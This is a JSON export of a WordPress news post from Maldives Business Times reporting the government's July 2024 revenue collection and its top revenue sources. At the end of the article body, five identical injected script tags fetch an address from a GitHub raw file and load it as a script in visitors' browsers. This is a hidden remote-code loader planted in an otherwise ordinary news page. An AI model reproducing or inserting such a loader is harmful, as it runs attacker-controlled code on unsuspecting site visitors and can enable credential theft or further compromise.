{"id":10118,"date":"2024-08-13T13:38:10","date_gmt":"2024-08-13T08:38:10","guid":{"rendered":"https:\/\/mbt.mv\/?p=10118"},"modified":"2024-08-13T13:38:10","modified_gmt":"2024-08-13T08:38:10","slug":"govt-collects-mvr-2-93-bn-revenue-75-77-mn-in-dollars-in-july-2024","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=10118","title":{"rendered":"Govt collects MVR 2.93 Bn revenue, 75.77 Mn in dollars in July 2024"},"content":{"rendered":"<p>The Maldives government collects MVR 2.93 billion revenue, 75.77 million of which in US dollars, in July 2024, reports the Maldives Inland Revenue Authority (MIRA).<\/p>\n<p>This revenue collection is a 17.1% decline from the same month last year. MIRA said that the GST and Income Tax deadlines during June 2023 was extended to July 2023, as those deadlines fell to the Eid-ul-Al&#8217;ha holidays, which resulted in a higher revenue collection last year.<\/p>\n<p>No such deadline adjustments were granted during July this year.<\/p>\n<p>Despite the decline compared to last year, the revenue collection in the review month is still 16.4% below the initial projection.<\/p>\n<h2>Top Revenue Contributors<\/h2>\n<ol>\n<li><strong>Income Tax:<\/strong> MVR 1.47 billion | 50.07%<\/li>\n<li><strong>GST:<\/strong> MVR 977.3 million | 33.33%<\/li>\n<li><strong>Tourism Land Rent:<\/strong> MVR 116.3 million | 3.96%<\/li>\n<li><strong>Airport Development Fee:<\/strong> MVR 77.8 million | 2.65%<\/li>\n<li><strong>Departure Tax:<\/strong> MVR 75.1 million | 2.56%<\/li>\n<\/ol>\n<p>The state collected MVR 2.59 billion in tax revenues and MVR 346.2 million in non-tax revenues in July 2024.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives government collects MVR 2.93 billion revenue, 75.77 million of which in US dollars, in July 2024, reports the Maldives Inland Revenue Authority (MIRA). This revenue collection is a 17.1% decline from the same month last year. MIRA said that the GST and Income Tax deadlines during June 2023 was extended to July 2023,<\/p>\n","protected":false},"author":4,"featured_media":10119,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2424,2428],"tags":[],"class_list":{"0":"post-10118","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-finance","8":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Govt collects MVR 2.93 Bn revenue, 75.77 Mn in dollars in July 2024 - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=10118\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Govt collects MVR 2.93 Bn revenue, 75.77 Mn in dollars in July 2024 - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The Maldives government collects MVR 2.93 billion revenue, 75.77 million of which in US dollars, in July 2024, reports the Maldives Inland Revenue Authority (MIRA). This revenue collection is a 17.1% decline from the same month last year. MIRA said that the GST and Income Tax deadlines during June 2023 was extended to July 2023,\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=10118\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-08-13T08:38:10+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/mbt.mv\/wp-content\/uploads\/2024\/08\/MIRA-1.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"616\" \/>\n\t<meta property=\"og:image:height\" content=\"425\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=10118#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=10118\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"Govt collects MVR 2.93 Bn revenue, 75.77 Mn in dollars in July 2024\",\"datePublished\":\"2024-08-13T08:38:10+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=10118\"},\"wordCount\":147,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=10118#primaryimage\"},\"thumbnailUrl\":\"https:\/\/mbt.mv\/wp-content\/uploads\/2024\/08\/MIRA-1.jpeg\",\"articleSection\":[\"FINANCE\",\"PUBLIC SECTOR\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=10118#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=10118\",\"url\":\"https:\/\/mbt.mv\/?p=10118\",\"name\":\"Govt collects MVR 2.93 Bn revenue, 75.77 Mn in dollars in July 2024 - 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